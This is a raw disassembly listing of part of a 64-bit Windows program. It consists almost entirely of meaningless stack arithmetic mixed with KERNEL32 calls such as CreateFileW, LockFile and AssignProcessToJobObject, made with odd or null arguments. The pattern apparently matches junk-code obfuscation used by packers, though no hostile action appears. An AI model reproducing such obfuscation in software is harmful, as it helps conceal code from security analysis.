mov dword [rsp + 0xadac], eax
mov rax, qword [rsp + 0x14498]
mov ecx, dword [rsp + 0xac1c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov eax, dword [0x140363c94]
mov dword [rsp + 0xadb0], eax
mov rax, qword [rsp + 0x14d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b64]
add eax, ecx
mov word [rsp + 0x2ad0], ax
mov rax, qword [rsp + 0x13368]
movzx eax, byte [rax]
mov byte [rsp + 0x703], al
mov rax, qword [0x140363c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa894]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xabb4], eax
mov rax, qword [rsp + 0x14a68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14888]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa350]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ca0], eax
mov rax, qword [rsp + 0x14ab0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabe0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363c00]
mov dword [rcx], eax
movzx eax, word [rsp + 0x299c]
movzx ecx, word [rsp + 0x2b60]
add eax, ecx
mov rcx, qword [rsp + 0x13de0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c5]
mov byte [rsp + 0x704], al
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x149d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b88], ax
lea rax, [rsp + 0x6bb]
mov qword [rsp + 0x14d60], rax
mov eax, dword [rsp + 0xa87c]
mov ecx, dword [rsp + 0xa8e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa030], eax
mov rax, qword [rsp + 0x14250]
mov rcx, qword [rsp + 0x13b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x136f0]
mov dword [rcx], eax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x14d68], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac38], eax
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
mov rcx, qword [0x140363ab8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
mov eax, dword [rsp + 0xabd8]
movzx ecx, al
mov eax, dword [rsp + 0x6674]
shl eax, cl
mov dword [0x14035cc4c], eax
lea rax, [rsp + 0x755c]
mov qword [rsp + 0x14d70], rax
mov rax, qword [rsp + 0x13760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa978]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x148a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa44]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x14d78], rax
mov rax, qword [rsp + 0x14268]
movzx eax, word [rax]
movzx ecx, word [0x140362b7c]
and eax, ecx
mov rcx, qword [rsp + 0x135e8]
mov word [rcx], ax
lea rax, [rsp + 0x7200]
mov qword [rsp + 0x14d80], rax
mov eax, dword [rsp + 0xac78]
mov ecx, dword [rsp + 0xaa60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa644], eax
mov rax, qword [rsp + 0x14bc8]
mov ecx, dword [rsp + 0xab7c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xab98], eax
lea rax, [rsp + 0xa8e8]
mov qword [0x140363db8], rax
mov rax, qword [rsp + 0x144e8]
mov rcx, qword [rsp + 0x14848]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x64d8], eax
mov rax, qword [0x140363b48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13810]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5fd], al
movzx eax, word [rsp + 0x2aa0]
mov word [rsp + 0x2bf8], ax
movzx ecx, word [rsp + 0x2a60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bfc], ax
mov rax, qword [rsp + 0x14b98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1de8]
sub eax, ecx
mov rcx, qword [rsp + 0x14d18]
mov word [rcx], ax
movzx eax, byte [0x1403535a2]
movzx ecx, byte [rsp + 0x6cf]
add eax, ecx
mov byte [rsp + 0x6c9], al
mov r9d, 1
lea r8, [rsp + 0x14b78]
mov rdx, qword [rsp + 0x14028]
mov rcx, qword [rsp + 0x141c0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaa2c], eax
mov eax, dword [rsp + 0xaca4]
mov dword [rsp + 0xadb4], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x717c], eax
lea rax, [0x14035e4d4]
mov qword [rsp + 0x14d88], rax
movzx ecx, word [rsp + 0x2acc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c00], ax
mov rax, qword [rsp + 0x14330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13500]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140362e64], ax
mov rax, qword [0x140363b10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13b28]
mov qword [rsp + 0x14d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14d90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa938], eax
mov rax, qword [rsp + 0x13578]
mov rcx, qword [rsp + 0x148a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7124], eax
mov rax, qword [rsp + 0x13300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d60]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8508], eax
mov rax, qword [rsp + 0x140e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa990]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x147f8]
mov dword [rcx], eax
lea rax, [rsp + 0x2bc8]
mov qword [rsp + 0x14d98], rax
mov rax, qword [rsp + 0x147c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d1]
add eax, ecx
mov rcx, qword [rsp + 0x13d50]
mov byte [rcx], al
mov eax, dword [0x14035cc18]
mov dword [rsp + 0xadb8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
mov rax, qword [rsp + 0x13c88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7970]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bb0]
mov dword [rcx], eax
lea rax, [rsp + 0x6d0]
mov qword [0x140363dc0], rax
movsx eax, word [rsp + 0x2474]
mov rcx, qword [rsp + 0x146b0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
mov rax, qword [rsp + 0x142d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x61c]
movzx ecx, byte [rsp + 0x6ea]
or eax, ecx
mov byte [rsp + 0x68e], al
lea rdx, [rsp + 0x143c0]
mov rcx, qword [rsp + 0x130e0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac74], eax
lea rax, [rsp + 0x7a10]
mov qword [rsp + 0x14da0], rax
mov eax, dword [rsp + 0xad3c]
mov ecx, dword [rsp + 0x9694]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xacb4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.Au1G4V544_f07FsC9YqF3K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14da8], rax
mov rax, qword [rsp + 0x14d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa98c], eax
lea rax, [rsp + 0xa8e8]
mov qword [rsp + 0x14db0], rax
mov rax, qword [rsp + 0x13c88]
mov rcx, qword [rsp + 0x13f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c50]
mov dword [rcx], eax
lea rax, [rsp + 0x2b24]
mov qword [rsp + 0x14db8], rax
mov rax, qword [0x140363ae0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x701]
sub eax, ecx
mov rcx, qword [0x140363a10]
mov byte [rcx], al
mov eax, dword [rsp + 0xab7c]
mov rcx, qword [rsp + 0x14548]
mov qword [rsp + 0x14dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14dc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xab0c], eax
lea rax, [rsp + 0xaae4]
mov qword [rsp + 0x14dc8], rax
mov r9d, 0xd66
xor r8d, r8d
lea rdx, [rsp + 0x13de8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xace4], eax
mov rax, qword [rsp + 0x13d88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13350]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13620]
mov qword [rsp + 0x14dd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14dd0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xaa90], eax
movzx eax, byte [rsp + 0x3bb]
mov byte [rsp + 0x705], al
movzx eax, word [0x140362c44]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x29dc], ax
movsx eax, byte [rsp + 0x6d8]
movsx ecx, byte [rsp + 0x6d2]
and eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [0x140363ca0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x235c]
sub eax, ecx
mov word [rsp + 0x2a10], ax
lea rax, [rsp + 0xac60]
mov qword [0x140363dc8], rax
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xabec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80d0], eax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x14dd8], rax
mov rax, qword [rsp + 0x13740]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x134f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x13518]
mov byte [rcx], al
mov r9d, 2
lea r8, [rsp + 0x12f98]
mov rdx, qword [rsp + 0x14de0]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xacdc], eax
lea rax, [rsp + 0xac0c]
mov qword [rsp + 0x14de8], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x13668]
mov ecx, dword [0x140363c90]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x136c8]
mov ecx, dword [rsp + 0xa8c0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80d0], eax
lea rax, [rsp + 0xad4c]
mov qword [rsp + 0x14df0], rax
movzx eax, word [rsp + 0x2be0]
movzx ecx, word [0x140362c1c]
or eax, ecx
mov word [rsp + 0x2ae4], ax
mov rax, qword [rsp + 0x13a30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13530]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x140363c40]
mov byte [rcx], al
mov rax, qword [rsp + 0x13c10]
mov eax, dword [rax]
mov dword [rsp + 0xadbc], eax
mov eax, dword [rsp + 0x8904]
mov ecx, dword [0x1403639bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x82e8], eax
mov rax, qword [rsp + 0x137a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13270]
mov dword [rcx], eax
lea rax, [rsp + 0xa920]
mov qword [rsp + 0x14df8], rax
mov rax, qword [rsp + 0x14350]
mov ecx, dword [rsp + 0xab68]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xaaa8], eax
mov rax, qword [rsp + 0x14768]
movzx eax, word [rax]
mov word [rsp + 0x2c04], ax
movsx eax, byte [rsp + 0x6f1]
movsx ecx, byte [rsp + 0x6e8]
sar eax, cl
mov rcx, qword [rsp + 0x143b8]
mov byte [rcx], al
lea rax, [rsp + 0x1b9c]
mov qword [rsp + 0x14e00], rax
lea rax, [rsp + 0x4f6]
mov qword [0x140363dd0], rax
mov rax, qword [rsp + 0x14670]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13640]
mov qword [rsp + 0x14e08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xaa90], eax
mov rax, qword [0x140363a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa960]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x137e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x11c0], ax
movzx eax, byte [rsp + 0x434]
movzx ecx, byte [0x14035e4d7]
and eax, ecx
mov rcx, qword [rsp + 0x13630]
mov byte [rcx], al
lea rax, [rsp + 0xac50]
mov qword [rsp + 0x14e10], rax
mov eax, dword [rsp + 0x9694]
mov ecx, dword [rsp + 0xa26c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac68], eax
mov rax, qword [rsp + 0x13c88]
mov ecx, dword [0x140363a70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13748]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6d94]
mov dword [rsp + 0xadc0], eax
mov rax, qword [rsp + 0x14748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x140363da0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6c0]
mov rcx, qword [rsp + 0x13f40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x8994]
mov ecx, dword [rsp + 0xac70]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x67dc], eax
lea rdx, [rsp + 0x45e38]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa968], eax
mov rax, qword [rsp + 0x14848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaad8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13728]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7bc], eax
mov rax, qword [rsp + 0x13618]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a78]
imul eax, ecx
mov rcx, qword [rsp + 0x13e48]
mov word [rcx], ax
lea rax, [rsp + 0x6d2]
mov qword [rsp + 0x14e18], rax
movzx eax, byte [rsp + 0xbb]
mov rcx, qword [0x140363d88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x704], al
mov r9d, 2
lea r8, [rsp + 0x14b78]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa7c4], eax
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x14e20], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14e28], rax
mov eax, dword [rsp + 0x7a24]
mov ecx, dword [rsp + 0x9c08]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ba0]
mov dword [rcx], eax
mov rax, qword [0x140363ac8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6bd8]
shl eax, cl
mov rcx, qword [0x140363bf0]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x1ba0
mov r9d, 0x2a60
mov r8d, 0x253
mov edx, 0x12ea
mov rcx, qword [rsp + 0x13018]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa910], eax
lea rax, [rsp + 0xa9f0]
mov qword [rsp + 0x14e30], rax
mov eax, dword [rsp + 0xabfc]
mov rcx, qword [rsp + 0x13690]
mov qword [rsp + 0x14e38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e38]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x148b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x85c0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
mov byte [rsp + 0x706], al
mov rax, qword [rsp + 0x14558]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14748]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14d48]
mov word [rcx], ax
mov rax, qword [rsp + 0x134a8]
mov eax, dword [rax]
mov dword [rsp + 0xadc4], eax
mov rcx, qword [rsp + 0x13de8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x41bf8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x8994]
mov ecx, dword [rsp + 0xa0d0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ec8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14510]
mov rcx, qword [rsp + 0x13300]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14258]
mov dword [rcx], eax
lea rax, [0x140363a1c]
mov qword [0x140363dd8], rax
mov rax, qword [rsp + 0x13888]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14cf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x567], al
mov rax, qword [rsp + 0x138c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14290]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14858]
mov word [rcx], ax
mov rax, qword [rsp + 0x139d8]
movzx eax, word [rax]
mov word [rsp + 0x2c08], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xab94], eax
movsx eax, byte [rsp + 0x5fd]
mov rcx, qword [rsp + 0x13250]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e1], al
mov rax, qword [rsp + 0x13408]
mov rcx, qword [rsp + 0x13790]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14148]
mov dword [rcx], eax
lea rax, [0x1403639b8]
mov qword [rsp + 0x14e40], rax
movzx eax, byte [rsp + 0x705]
mov rcx, qword [rsp + 0x14520]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13a58]
mov byte [rcx], al
lea rax, [rsp + 0x1a2c]
mov qword [rsp + 0x14e48], rax
mov rax, qword [rsp + 0x13b68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac54]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13960]
mov rcx, qword [rsp + 0x137f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7970], eax
mov rax, qword [rsp + 0x13610]
mov ecx, dword [rsp + 0x6fe8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xac14], eax
lea rax, [rsp + 0xaa54]
mov qword [rsp + 0x14e50], rax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14550]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14520]
mov byte [rcx], al
mov rax, qword [rsp + 0x146b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x180c], ax
mov rax, qword [rsp + 0x14680]
mov rcx, qword [rsp + 0x143a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaab4], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov dword [rsp + 0xadc8], eax
mov eax, dword [0x14035cbd8]
mov ecx, dword [rsp + 0xa948]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7908]
mov dword [0x140363de0], eax
mov rax, qword [rsp + 0x139c8]
mov ecx, dword [rsp + 0xacc4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa95c], eax
movzx eax, byte [rsp + 0x6fb]
mov byte [rsp + 0x707], al
movsx eax, word [rsp + 0x197c]
movsx ecx, word [rsp + 0x2a38]
imul eax, ecx
mov word [rsp + 0x169c], ax
lea rax, [rsp + 0x51b]
mov qword [rsp + 0x14e58], rax
mov rax, qword [rsp + 0x14e48]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2014]
or eax, ecx
mov rcx, qword [rsp + 0x14778]
mov word [rcx], ax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov ecx, dword [0x14035cc0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13710]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2abc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a98], ax
lea rax, [rsp + 0xaab4]
mov qword [rsp + 0x14e60], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac88], eax
mov rax, qword [rsp + 0x14748]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13ae8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14658]
mov word [rcx], ax
mov rax, qword [rsp + 0x14488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14cf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x140363c98]
mov byte [rcx], al
mov eax, dword [rsp + 0xaa98]
mov ecx, dword [rsp + 0x6f68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x86b4], eax
mov rax, qword [rsp + 0x146c8]
mov rcx, qword [rsp + 0x14e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14810]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14b20]
mov rcx, qword [rsp + 0x14bb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab2c], eax
lea rcx, [0x140330ab8]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c0c], ax
mov eax, dword [rsp + 0xac08]
mov dword [rsp + 0xadcc], eax
lea rdx, [rsp + 0x14de0]
mov rcx, qword [rsp + 0x14758]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa968], eax
mov rax, qword [0x140363a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e9]
add eax, ecx
mov byte [rsp + 0x6dd], al
lea rax, [rsp + 0x2518]
mov qword [rsp + 0x14e68], rax
mov eax, dword [rsp + 0xacd0]
mov ecx, dword [rsp + 0xaa3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9674]
mov ecx, dword [rsp + 0xaa3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x99e4], eax
lea rax, [rsp + 0x1868]
mov qword [0x140363de8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x6cc]
mov qword [rsp + 0x14e70], rax
mov rax, qword [rsp + 0x13cb8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13530]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6f5], al
mov rax, qword [rsp + 0x13480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b9c]
sar eax, cl
mov word [rsp + 0x11c4], ax
mov eax, dword [0x14035cc1c]
mov ecx, dword [rsp + 0xaafc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14cf8]
mov dword [rcx], eax
lea rax, [rsp + 0xab30]
mov qword [rsp + 0x14e78], rax
mov rax, qword [rsp + 0x13d70]
mov rcx, qword [rsp + 0x147c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13c30]
mov dword [rcx], eax
mov eax, dword [rsp + 0xad68]
mov ecx, dword [rsp + 0x6cd0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13d00]
mov eax, dword [rax]
mov dword [rsp + 0xadd0], eax
movzx eax, word [rsp + 0x16a4]
movzx ecx, word [rsp + 0x29e4]
add eax, ecx
mov rcx, qword [rsp + 0x13ba8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa964], eax
movzx eax, byte [rsp + 0x1d2]
movzx ecx, byte [rsp + 0x48d]
or eax, ecx
mov byte [0x14035e4d4], al
mov rax, qword [rsp + 0x132a8]
mov eax, dword [rax]
mov dword [rsp + 0xadd4], eax
mov rax, qword [rsp + 0x13588]
mov rcx, qword [rsp + 0x13a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xab04], eax
mov eax, dword [rsp + 0xab4c]
mov ecx, dword [0x140363a1c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14458]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa990]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d6c], eax
mov rax, qword [rsp + 0x14870]
movzx eax, word [rax]
mov rcx, qword [0x140363b98]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b98], ax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
mov byte [rsp + 0x708], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad78], eax
mov rax, qword [rsp + 0x14740]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14618]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14990]
mov byte [rcx], al
mov rax, qword [rsp + 0x14518]
movsx eax, word [rax]
mov rcx, qword [0x140363d10]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14790]
mov word [rcx], ax
lea rax, [rsp + 0xad14]
mov qword [0x140363df0], rax
mov eax, dword [rsp + 0xad20]
mov rcx, qword [rsp + 0x14380]
mov qword [rsp + 0x14e80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14e80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8374], eax
movzx eax, word [rsp + 0x2af0]
movzx ecx, word [0x14035cbf4]
xor eax, ecx
mov rcx, qword [rsp + 0x13758]
mov word [rcx], ax
lea rcx, [rsp + 0x41b08]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6d1]
mov qword [rsp + 0x14e88], rax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c10], ax
mov eax, dword [rsp + 0xa73c]
mov ecx, dword [rsp + 0x80c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa93c], eax
lea rdx, [rsp + 0x14818]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac74], eax
lea rax, [0x14035cc30]
mov qword [rsp + 0x14e90], rax
mov rax, qword [rsp + 0x14878]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaba4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x136a8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
mov rax, qword [rsp + 0x13ce0]
mov ecx, dword [rsp + 0xa8e8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x2098]
mov qword [rsp + 0x14e98], rax
movzx eax, byte [rsp + 0x6f3]
mov rcx, qword [rsp + 0x14d28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035e4a4], al
